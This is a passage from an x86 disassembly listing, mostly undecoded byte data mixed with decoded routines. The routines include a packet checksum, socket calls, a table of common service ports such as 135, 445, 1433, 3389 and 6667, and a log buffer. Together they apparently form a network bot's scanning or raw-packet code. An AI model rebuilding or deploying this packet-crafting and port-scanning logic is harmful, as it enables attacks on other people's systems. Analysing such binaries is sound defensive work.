		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22BBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Bh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C11EE800h, 2B900226h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 21E890FCh, 2B0226BCh, 0D233F845h,	3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B576E8FFh, 2B900226h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 24BE7EE8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 2770661h
		nop
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
